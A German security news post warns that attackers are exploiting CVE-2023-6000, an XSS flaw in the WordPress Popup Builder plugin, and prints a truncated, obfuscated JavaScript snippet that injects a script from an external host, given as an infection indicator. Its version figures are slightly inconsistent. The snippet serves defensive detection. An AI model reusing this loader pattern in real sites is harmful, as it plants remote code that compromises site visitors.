Wordpress Popup-Builder: bereits 3600 ungepatchte Seiten gehackt

IEine Schwachstelle im Popup Builder-Plugin für WordPress, bekannt als CVE-2023-6000, wird von Hackern aktiv ausgenutzt und das nicht zum ersten mal. Aktuelle Statistiken von WordPress zeigen, dass mindestens 80.000 aktive Websites immer noch Popup Builder in der Version 4.1 oder älter verwenden. Über 3.600 Websites sind von der neuartigen Malware Kampagne bereits betroffen, der über eine Cross-Site-Scripting (XSS)-Vulnerabilität in Versionen 4.2.3 und älter des Plugins eingeschleust wurde. Viele der Seiten finden sich dabei in Deutschland und den Niederlanden.

Die Angreifer hinterlassen eine beunruhigende Signatur in den wp_postmeta-Tabellen der betroffenen Websites: Ein Stück JavaScript-Code, der auf eine externe Quelle verweist, wurde als Indikator für eine neue Ransomware-Form identifiziert. Darüber hinaus kann der schädliche Code in einigen Fällen, beispielsweise bei der Nutzung des Kontaktformular-Plugins Contact Form 7, zu bösartigen Weiterleitungen führen. Folgendes Codeschnipsel in der der wp_postmeta Datentabelle deutet auf eine Infektion hin:

var d = document; var e = d['create' + 'Element']('scr' + 'ipt'); e['src'] = 'https://host.clo

Website-Betreiber sind aufgerufen, ihre Systeme umgehend zu überprüfen und erforderliche Maßnahmen einzuleiten, um Ihre Webseite nicht für Cross Site Scripting Angriffe durch Hacker ausnutzen zu lassen.

Related Posts

Microsoft erlaubt SMB über QUIC: Ein doppelschneidiges Schwert

Microsoft hat kürzlich die Herstellung von SMB (Server Message Block) Connections über das neuartige Internetprotokoll QUIC (Quick UDP Internet Connections) erlaubt. Diese Technologie ermöglicht es Benutzern, auf Dateifreigaben über das Internet zuzugreifen, ohne auf herkömmliche VPNs (Virtual Private Networks) angewiesen zu sein. SMB über QUIC nutzt dabei den Internet-freundlichen UDP-Port 443 und verschlüsselt die Datenübertragung mit TLS 1.3, was einen signifikanten Sicherheitsvorteil gegenüber herkömmlichen Methoden bietet.

Read More

CVE-2024-1403: OpenEdge Authentication Gateway Bypass

OpenEdge-Authentifizierungsumgehung OpenEdge, eine Entwicklungs- und Bereitstellungsplattform-Suite, weist eine eine hochkritische Schwachstelle in der Authentifizierungsumgehung auf, die bestimmte Komponenten der Plattform betrifft. Diese Schwachstelle ermöglicht unberechtigten Zugriff bei Versuchen, sich anzumelden, wenn das OpenEdge Authentication Gateway (OEAG) mit einem OpenEdge-Domain konfiguriert ist, das den lokalen Authentifizierungsanbieter des Betriebssystems verwendet, um Benutzer-ID- und Passwort-Anmeldungen auf von aktiven OpenEdge-Versionen unterstützten Betriebssystemplattformen zu gewähren. Die Schwachstelle wird als CVE-2024-1403 verfolgt und hat eine kritische Schweregradbewertung mit einem CVSS-Wert von 10 / 10 erhalten.

Read More

Spinning YARN - Cyberangriffskampagne gegen Cloud Server

Die “Spinning YARN”-Cyberangriffe bedrohen derzeit diverse Cloud Server. Diese gezielten Angriffe nutzen Schwachstellen in schlecht konfigurierten webbasierten Diensten aus, darunter bekannte Technologien wie Apache Hadoop YARN (Yet Another Resource Negotiator), Docker, Atlassian Confluence und Redis.

Read More